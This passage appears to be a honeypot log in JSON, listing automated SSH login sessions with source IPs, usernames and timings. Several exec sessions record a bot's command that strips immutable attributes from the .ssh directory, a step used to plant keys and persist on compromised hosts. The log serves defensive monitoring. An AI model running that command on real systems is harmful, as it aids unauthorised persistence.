  "exec_command": null,
  "started_at": "2026-08-27T12:27:21.268757+00:00",
  "ended_at": "2026-08-27T12:27:22.426865+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "22892b3d-d131-484e-917f-862a3ce159ef",
  "name": "graceful-vivid-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55848,
  "username": "kd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:27:20.268770+00:00",
  "ended_at": "2026-08-27T12:27:22.206557+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "07a8b002-e46c-4c82-8a4e-a0dd06cf8cd0",
  "name": "autumn-buoyant-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42824,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:27:18.578573+00:00",
  "ended_at": "2026-08-27T12:27:19.616724+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "25d66104-34c2-4c5f-ade7-028a24f97cd8",
  "name": "flinty-wistful-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 37032,
  "username": "sklep",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:27:13.056486+00:00",
  "ended_at": "2026-08-27T12:27:14.294599+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "d3423258-f40a-42c6-bf9a-bd07fb05eb64",
  "name": "dapper-fickle-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 49350,
  "username": "sklep",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:26:56.921523+00:00",
  "ended_at": "2026-08-27T12:26:57.801895+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f807a9dc-0371-4075-a8ef-0fd14b1e7c83",
  "name": "jaunty-arctic-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 37044,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:26:55.031586+00:00",
  "ended_at": "2026-08-27T12:26:56.342637+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "968341c1-d34d-4470-806b-cb94fa62108f",
  "name": "languid-ivory-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59630,
  "username": "zsolt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:26:45.087105+00:00",
  "ended_at": "2026-08-27T12:26:46.215932+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "c23adb4a-128c-4966-a030-6d229fb93564",
  "name": "rapid-watchful-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59652,
  "username": "zsolt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:26:27.916026+00:00",
  "ended_at": "2026-08-27T12:26:29.424429+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65a1f566-17af-44e0-a275-608820cf40c3",
  "name": "brazen-austere-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59636,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:26:26.264910+00:00",
  "ended_at": "2026-08-27T12:26:26.995020+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e00e9b56-c236-4a32-a457-8a88a1fa0e97",
  "name": "electric-tawny-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 33410,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 735,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:26:03.861784+00:00",
  "ended_at": "2026-08-27T12:26:05.485026+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d0ad47f4-68a4-4754-8d3d-94ab5cded373",
  "name": "marine-canny-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 52288,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:42.587861+00:00",
  "ended_at": "2026-08-27T12:25:43.393795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fe44b2d-599e-4b97-8931-4318d9559b8d",
  "name": "foggy-misty-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 49174,
  "username": "james",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 348,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:25:42.378488+00:00",
  "ended_at": "2026-08-27T12:25:44.615648+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "ed63d988-1374-465e-bf40-45f76822a113",
  "name": "solemn-freckled-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 52280,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:40.256018+00:00",
  "ended_at": "2026-08-27T12:25:41.047617+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6164e871-e416-451f-b1d6-b7e6271cd5e2",
  "name": "jaunty-eager-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 41570,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 262,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:25:35.353754+00:00",
  "ended_at": "2026-08-27T12:25:37.508863+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "759f2d2d-cae8-4e9a-9238-0cc155fa6cfa",
  "name": "subtle-thrifty-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 34182,
  "username": "james",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:22.725003+00:00",
  "ended_at": "2026-08-27T12:25:24.706843+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1af447ce-fdd1-4518-937f-e586c76cb910",
  "name": "lucid-early-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41584,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:20.895177+00:00",
  "ended_at": "2026-08-27T12:25:22.237623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36a620af-bbd1-4283-a08c-bb00b45d7448",
  "name": "drifting-pleasant-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 34170,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:20.313844+00:00",
  "ended_at": "2026-08-27T12:25:22.192943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "488a5bfa-5307-4805-9f5a-f9fff9d70d22",
  "name": "sturdy-windswept-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41576,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:25:19.353158+00:00",
  "ended_at": "2026-08-27T12:25:20.367589+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a7273483-844f-4f55-8407-0aa02975a1e6",
  "name": "cobalt-mellow-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 43194,
  "username": "danny",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:25:10.272603+00:00",
  "ended_at": "2026-08-27T12:25:12.003698+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "c609e80c-f74a-45fa-b811-f4993efa53cf",
  "name": "idle-grumpy-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 43210,
  "username": "danny",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:24:54.126131+00:00",
  "ended_at": "2026-08-27T12:24:56.054262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f72e4528-4031-409e-a024-0a823793d484",
  "name": "keen-zealous-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 43206,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:24:52.658340+00:00",
  "ended_at": "2026-08-27T12:24:53.539746+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ef05cdd0-65b4-41d6-8783-5d75ac4d7dbb",
  "name": "genial-nautical-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:54.173175+00:00",
  "ended_at": "2026-08-27T12:23:55.165052+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "08df2f51-54d1-4c35-ae9f-f6a520b52ca0",
  "name": "valiant-glacial-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 44666,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:42.940114+00:00",
  "ended_at": "2026-08-27T12:23:44.192085+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4f90064b-960b-400b-9f25-4a883d22f38a",
  "name": "plush-primal-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59626,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:35.609298+00:00",
  "ended_at": "2026-08-27T12:23:37.010763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f11e200c-eb70-48ff-a8d6-cccf34ada516",
  "name": "misty-rustic-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 38258,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:34.967823+00:00",
  "ended_at": "2026-08-27T12:23:36.194833+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2263
 },
 {
  "id": "3510307a-316b-4301-9a7e-679af1e64893",
  "name": "fleeting-crimson-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59612,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:33.453243+00:00",
  "ended_at": "2026-08-27T12:23:34.690485+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0062a03-d96f-4390-8073-908cfdfc2009",
  "name": "earnest-brave-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 44694,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:28.016151+00:00",
  "ended_at": "2026-08-27T12:23:29.108055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f04d438-5bd3-4155-abe8-eb4def1c29f1",
  "name": "calm-hardy-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 44678,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:25.737846+00:00",
  "ended_at": "2026-08-27T12:23:27.367678+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bcbc8593-4abc-4ccc-a817-5b52dd5fe132",
  "name": "tawny-merry-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38270,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:19.834102+00:00",
  "ended_at": "2026-08-27T12:23:20.562100+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "28a4ee71-6a88-4b33-8da9-041526a4ef56",
  "name": "hazel-cobalt-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 33152,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 730,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:18.917772+00:00",
  "ended_at": "2026-08-27T12:23:20.111497+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "b63a05e6-9534-42b7-9ae1-ea6d67cc92e9",
  "name": "jaunty-woven-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38266,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:23:17.840015+00:00",
  "ended_at": "2026-08-27T12:23:19.306721+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8fcd060c-c8c5-4546-8ad4-bc9b9ab897a3",
  "name": "fierce-sterling-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:23:13.209762+00:00",
  "ended_at": "2026-08-27T12:23:14.733002+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b6a2f706-71bc-4b66-b0aa-c02cd5e0a2fa",
  "name": "hushed-forlorn-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58534,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:22:57.102309+00:00",
  "ended_at": "2026-08-27T12:22:58.981506+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6c999062-d97e-41fa-8813-2603cf53a90f",
  "name": "woven-genial-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 33166,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:22:56.827609+00:00",
  "ended_at": "2026-08-27T12:22:58.443833+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "800d2bc9-6449-4996-b7db-3134b39789e1",
  "name": "noble-jovial-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58524,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:22:55.384813+00:00",
  "ended_at": "2026-08-27T12:22:56.516665+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e8044f8f-39e0-4199-a63e-2bb9c81a4a3d",
  "name": "solemn-murky-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 33162,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:22:53.160291+00:00",
  "ended_at": "2026-08-27T12:22:55.203391+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "84d2a4e8-6fcc-4968-a1e4-a049d8e02664",
  "name": "russet-rugged-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 53984,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:47.348913+00:00",
  "ended_at": "2026-08-27T12:21:48.544087+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "cb1cf88d-956b-478c-8b56-58bf2ccaa813",
  "name": "arctic-distant-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 60522,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:33.027216+00:00",
  "ended_at": "2026-08-27T12:21:34.490931+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "409f38cc-6831-4ef8-a575-98aa01aa17e5",
  "name": "rapid-frugal-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45978,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:21:32.977725+00:00",
  "ended_at": "2026-08-27T12:21:34.112758+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00fc180b-beab-4be6-911c-df99e10a1c9f",
  "name": "feral-curious-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45970,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:21:30.418729+00:00",
  "ended_at": "2026-08-27T12:21:32.323012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0ad5f92-56bf-4336-afe4-a229c3791956",
  "name": "painted-cunning-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 47886,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:21:16.996512+00:00",
  "ended_at": "2026-08-27T12:21:18.796645+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a07ff39-e5fb-4ef1-8ae6-f25237994c11",
  "name": "arctic-airy-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59582,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 456,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:15.821042+00:00",
  "ended_at": "2026-08-27T12:21:17.129068+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "759961b7-75f6-4514-a053-98caf8052b15",
  "name": "cheerful-primal-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 60536,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:21:15.750735+00:00",
  "ended_at": "2026-08-27T12:21:16.475753+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a91ccc20-8ea6-4baf-bb5b-ebf14b1b5d42",
  "name": "feral-thawing-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 47744,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:21:10.503023+00:00",
  "ended_at": "2026-08-27T12:21:12.216098+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "abc48663-ebb2-48cd-95e5-1257b94f7a0d",
  "name": "upland-crisp-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59598,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:57.617180+00:00",
  "ended_at": "2026-08-27T12:20:59.516048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e695520-55bd-4213-a27b-6412fa1745c7",
  "name": "burly-wooded-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 42468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:56.006166+00:00",
  "ended_at": "2026-08-27T12:20:57.246261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb73b700-f716-4e8e-b0be-8d39abe9d3df",
  "name": "wooded-deft-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59586,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:55.713306+00:00",
  "ended_at": "2026-08-27T12:20:56.714436+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56895441-faa4-478f-bf20-8e0a07bfd0fc",
  "name": "loyal-earnest-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47758,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:54.242654+00:00",
  "ended_at": "2026-08-27T12:20:55.421758+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d68e795d-0238-423e-96e6-2564f0322124",
  "name": "granite-graceful-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 36960,
  "username": "jose",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:20:26.707624+00:00",
  "ended_at": "2026-08-27T12:20:28.475440+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "462bcad2-96e7-4009-8fcf-c480a2a1195a",
  "name": "scarlet-umber-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53734,
  "username": "jose",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:04.634787+00:00",
